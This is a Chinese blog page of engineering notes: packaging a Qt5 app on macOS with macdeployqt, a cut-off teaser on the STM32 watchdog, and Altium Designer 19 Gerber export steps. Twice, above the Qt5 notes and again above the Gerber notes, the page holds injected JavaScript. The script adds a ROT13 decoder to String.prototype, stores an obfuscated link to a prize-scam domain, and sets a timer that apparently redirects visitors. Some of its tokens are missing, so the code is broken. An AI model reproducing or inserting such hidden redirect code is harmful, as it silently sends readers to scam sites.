QT5玄学

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
本文是QT5一些零碎的知识点和采坑合集

目录:

QT5在MAC上打包

 
QT5 在MAC上打包
第一步:Build Release

首先在Qt Creator中 Projects->Build->Build Settings中选择 Build configuration为Release模式,然后Build,这个时候就会生成一个文件夹,里面有我们打包好的APP。

第二步:打包依赖

此时生成的.app文件还不能直接发布,因为app使用的各种依赖库没有包含吗,这个时候就需要使用Qt自带的一个打包工具macdeployqt来把这些依赖包含进行来

这个工具在/Users/bingxiong/Qt5.12.5/5.12.5/clang_64/bin

我要打包的文件是:/Users/bingxiong/QT_Project/build-FNotePad-Desktop_x86_darwin_generic_mach_o_64bit-Release/FNotePad.app

然后就在bin目录下执行:./macdeployqt /Users/bingxiong/QT_Project/build-FNotePad-Desktop_x86_darwin_generic_mach_o_64bit-Release/FNotePad.app

执行后如果没有报错的话,这个时候的.app就可以直接运行了

第三步:生成dmg

打开Disk Utility,选择File->New Image->Blank Image 来创建对应的dmg镜像

接下来到https://cloudconvert.com/png-to-icns制作App的icon,制作好之后右键get info然后将icon拖拽过去就可以添加icon成功

制作一个Application文件夹的Alias,然后将Application文件夹和刚刚生成的.app文件拖拽过去

这样就制作完成.dmg的安装包

 

 

STM32看门狗

rx online STM32的看门狗分为独立看门狗和窗口看门狗。 第一部分 独立看门狗 独立看门狗由内部专门的40KHz的低速时钟驱动,即使主时钟发生了故障也仍然有效。需要注意的是看门狗的时钟是一个内部的RC时钟,…

AD19导出Gerber备忘

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
这里是导出AD19导出gerber file的备忘

首先进行一次DRC检查,再三确认DRC通过
在mechanical层中巴板框的尺寸标出来
把原点放在左下角

然后开始进行gerber输出:

第一步:

文件->制造输出->gerber file->通用:英寸 2:4->绘制层全选之后,取消掉除了机械1层以外的机械层,因为一般用不到,出图那里勾选机械1层,勾选包含未连接中间层焊盘 -> 钻孔图层两个都打勾

第二步:

制造输出->NC drill->英寸2:5

第三步:

测试点报告-> 报告格式后两个全选

第四步:

如果需要贴片的话输出贴片的文件即可